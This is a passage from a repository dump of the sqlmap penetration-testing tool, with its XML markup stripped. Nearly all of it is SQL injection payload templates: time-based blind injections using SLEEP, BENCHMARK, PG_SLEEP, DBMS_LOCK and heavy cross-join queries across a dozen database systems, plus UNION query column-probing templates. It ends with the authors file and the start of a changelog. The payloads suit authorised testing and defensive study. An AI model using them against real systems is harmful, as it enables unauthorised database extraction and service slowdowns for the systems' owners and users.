Firebird >= 2.0 OR time-based blind (heavy query - comment) 5 5 3 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) --
Firebird >= 2.0
SAP MaxDB AND time-based blind (heavy query) 5 4 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
SAP MaxDB
SAP MaxDB OR time-based blind (heavy query) 5 4 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
SAP MaxDB
SAP MaxDB AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) --
SAP MaxDB
SAP MaxDB OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) --
SAP MaxDB
HSQLDB >= 1.7.2 AND time-based blind (heavy query) 5 4 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 OR time-based blind (heavy query) 5 4 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) --
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) --
HSQLDB >= 1.7.2
HSQLDB > 2.0 AND time-based blind (heavy query) 5 4 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
HSQLDB > 2.0
HSQLDB > 2.0 OR time-based blind (heavy query) 5 4 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
HSQLDB > 2.0
HSQLDB > 2.0 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) --
HSQLDB > 2.0
HSQLDB > 2.0 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) --
HSQLDB > 2.0
Informix AND time-based blind (heavy query) 5 2 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
Informix
Informix OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
Informix
Informix AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) --
Informix
Informix OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) --
Informix
ClickHouse AND time-based blind (heavy query) 5 4 1 1,2,3 1 AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
ClickHouse
ClickHouse OR time-based blind (heavy query) 5 5 3 1,2,3 1 OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
ClickHouse
MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE) 5 3 2 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)
MySQL >= 5.0.12
MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE) 5 5 2 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) #
MySQL >= 5.0.12
MySQL >= 5.0.12 time-based blind - Parameter replace 5 2 1 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
MySQL >= 5.0.12
MySQL >= 5.0.12 time-based blind - Parameter replace (substraction) 5 3 1 1,2,3,9 3 (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK) 5 4 2 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])
MySQL < 5.0.12
MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment) 5 5 2 1,2,3,9 3 IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
MySQL > 5.0.12
MySQL time-based blind - Parameter replace (bool) 5 4 1 1,2,3,9 3 ([INFERENCE] AND SLEEP([SLEEPTIME])) ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))
MySQL
MySQL time-based blind - Parameter replace (ELT) 5 5 1 1,2,3,9 3 ELT([INFERENCE],SLEEP([SLEEPTIME])) ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL
MySQL time-based blind - Parameter replace (MAKE_SET) 5 5 1 1,2,3,9 3 MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL
PostgreSQL > 8.1 time-based blind - Parameter replace 5 3 1 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
PostgreSQL > 8.1
PostgreSQL time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
PostgreSQL
Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries) 5 4 2 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
Microsoft SQL Server Sybase
Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 3 1 1,3,9 3 BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;
Oracle
Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE) 5 3 1 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
Oracle
Oracle time-based blind - Parameter replace (heavy queries) 5 4 2 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
Oracle
SQLite > 2.0 time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))
SQLite > 2.0
Firebird time-based blind - Parameter replace (heavy query) 5 5 2 1,2,3,9 3 IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Firebird >= 2.0
SAP MaxDB time-based blind - Parameter replace (heavy query) 5 5 2 1,3,9 3 (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
SAP MaxDB
IBM DB2 time-based blind - Parameter replace (heavy query) 5 5 2 1,2,3,9 3 (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
IBM DB2
HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
HSQLDB >= 1.7.2
HSQLDB > 2.0 time-based blind - Parameter replace (heavy query) 5 5 2 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))
HSQLDB > 2.0
Informix time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
Informix
MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause 5 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
MySQL >= 5.0.12
MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
MySQL < 5.0.12
PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause 5 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))
PostgreSQL > 8.1
PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))
PostgreSQL
Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) 5 3 1 2,3 1 ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)
Oracle
Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE) 5 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) --
HSQLDB >= 1.7.2
HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))
HSQLDB > 2.0
================================================ FILE: data/xml/payloads/union_query.xml ================================================ Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] [COLSTART]-[COLSTOP] Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL [COLSTART]-[COLSTOP] Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] [COLSTART]-[COLSTOP] Generic UNION query ([CHAR]) - 1 to 10 columns 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 1-10 Generic UNION query (NULL) - 1 to 10 columns 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 1-10 Generic UNION query ([RANDNUM]) - 1 to 10 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 1-10 Generic UNION query ([CHAR]) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 11-20 Generic UNION query (NULL) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 11-20 Generic UNION query ([RANDNUM]) - 11 to 20 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 11-20 Generic UNION query ([CHAR]) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 21-30 Generic UNION query (NULL) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 21-30 Generic UNION query ([RANDNUM]) - 21 to 30 columns 6 4 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 21-30 Generic UNION query ([CHAR]) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 31-40 Generic UNION query (NULL) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 31-40 Generic UNION query ([RANDNUM]) - 31 to 40 columns 6 5 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 31-40 Generic UNION query ([CHAR]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 41-50 Generic UNION query (NULL) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 41-50 Generic UNION query ([RANDNUM]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 41-50 MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) 6 2 1 1,2,3,4,5 1 [UNION] # [CHAR] [COLSTART]-[COLSTOP]
MySQL
MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) 6 2 1 1,2,3,4,5 1 [UNION] # NULL [COLSTART]-[COLSTOP]
MySQL
MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) 6 3 1 1,2,3,4,5 1 [UNION] # [RANDNUM] [COLSTART]-[COLSTOP]
MySQL
MySQL UNION query ([CHAR]) - 1 to 10 columns 6 2 1 1,2,3,4,5 1 [UNION] # [CHAR] 1-10
MySQL
MySQL UNION query (NULL) - 1 to 10 columns 6 2 1 1,2,3,4,5 1 [UNION] # NULL 1-10
MySQL
MySQL UNION query ([RANDNUM]) - 1 to 10 columns 6 3 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 1-10
MySQL
MySQL UNION query ([CHAR]) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] # [CHAR] 11-20
MySQL
MySQL UNION query (NULL) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] # NULL 11-20
MySQL
MySQL UNION query ([RANDNUM]) - 11 to 20 columns 6 3 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 11-20
MySQL
MySQL UNION query ([CHAR]) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] # [CHAR] 21-30
MySQL
MySQL UNION query (NULL) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] # NULL 21-30
MySQL
MySQL UNION query ([RANDNUM]) - 21 to 30 columns 6 4 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 21-30
MySQL
MySQL UNION query ([CHAR]) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] # [CHAR] 31-40
MySQL
MySQL UNION query (NULL) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] # NULL 31-40
MySQL
MySQL UNION query ([RANDNUM]) - 31 to 40 columns 6 5 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 31-40
MySQL
MySQL UNION query ([CHAR]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] # [CHAR] 41-50
MySQL
MySQL UNION query (NULL) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] # NULL 41-50
MySQL
MySQL UNION query ([RANDNUM]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 41-50
MySQL
================================================ FILE: data/xml/queries.xml ================================================ /> ================================================ FILE: doc/AUTHORS ================================================ Bernardo Damele Assumpcao Guimaraes (@inquisb) Miroslav Stampar (@stamparm) You can contact both developers by writing to dev@sqlmap.org ================================================ FILE: doc/CHANGELOG.md ================================================ # Version 1.10 (2026-01-01) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1) # Version 1.9 (2025-01-02) * [View 